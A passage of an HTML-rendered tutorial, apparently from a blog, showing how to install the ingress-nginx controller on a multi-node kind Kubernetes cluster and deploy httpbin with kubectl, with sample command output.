style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 88s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.25.11\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow we need to get the \u003ccode\u003eingress-nginx\u003c/code\u003e controller installed so we can start\nusing our cluster with ingress:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe manifests contains \u003ccode\u003ekind\u003c/code\u003e specific patches to forward the hostPorts to the ingress controller, set taint tolerations and schedule it to the custom labelled node.\u003c/p\u003e\n\u003cp\u003eThis will take a little bit of time to get up and running, you can monitor it\nby running:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wait\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --namespace\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ingress-nginx\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --for=condition=ready\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --selector=app.kubernetes.io/component=controller\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --timeout=90s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eor just manually check the status:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e all\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ingress-nginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-admission-create-bbmlc\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Completed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-admission-patch-qlnr8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Completed\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epod/ingress-nginx-controller-5f748f78c8-6tc6b\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ContainerCreating\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TYPE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CLUSTER-IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e EXTERNAL-IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e PORT\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NodePort\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.96.228.248\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 80:31771/TCP,443:31759/TCP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/ingress-nginx-controller-admission\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ClusterIP\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.96.180.126\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 443/TCP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e UP-TO-DATE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AVAILABLE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edeployment.apps/ingress-nginx-controller\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 0/1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DESIRED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CURRENT\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ereplicaset.apps/ingress-nginx-controller-5f748f78c8\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e COMPLETIONS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DURATION\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ejob.batch/ingress-nginx-admission-create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 22s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ejob.batch/ingress-nginx-admission-patch\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 35s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 68s\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce \u003ccode\u003eingress-nginx-controller\u003c/code\u003e is in \u003ccode\u003eRunning\u003c/code\u003e state you are ready to go!\u003c/p\u003e\n\u003ch1\u003eDeploying your first app\u003c/h1\u003e\n\u003cp\u003eTo prove that the cluster is working correctly we will deploy\n\u003ca href=\"https://github.com/Kong/httpbin\"\u003ehttpbin\u003c/a\u003e which is a nice little API server\nso we can prove everything is working.\u003c/p\u003e\n\u003cp\u003eCreate a \u003ccode\u003ehttbin.yml\u003c/code\u003e file and paste this into it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eService\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e labels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e service\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ports\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttp\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e port\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e targetPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e selector\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e---\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eapps/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eDeployment\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e replicas\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e selector\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e matchLabels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e template\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e metadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e labels\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e app\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e version\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ev1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e spec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e containers\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eimage\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003edocker.io/mccutchen/go-httpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e imagePullPolicy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eIfNotPresent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ports\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis is creating a couple of Kubernetes resources:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eService\u003c/code\u003e: This is exposing the port to the ingress\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDeployment\u003c/code\u003e: This is actually launching the service\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo we are not using the ingress yet but we can prove that we can launch the\nservice at least. So apply those manifests:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e httpbin.yml\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e created\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edeployment.apps/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e created\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should see two pods come up. You should wait for them to get into the\n\u003ccode\u003eRunning\u003c/code\u003e status:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wide\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NODE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NOMINATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NODE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READINESS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GATES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ehttpbin-5c5494967-2z5wz\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 48s\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.244.3.3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ehttpbin-5c5494967-9lf47\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 72s\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.244.1.2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode-worker\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe can now use port forwarding to access it. \u003ccode\u003ehttpbin\u003c/code\u003e is exposed on \u003ccode\u003e8000\u003c/code\u003e so\nlets create port \u003ccode\u003e9000\u003c/code\u003e on our host that forwards to it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e port-forward\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e service/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 9000:8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 127.0.0.1:9000\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [::1]:9000 -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e 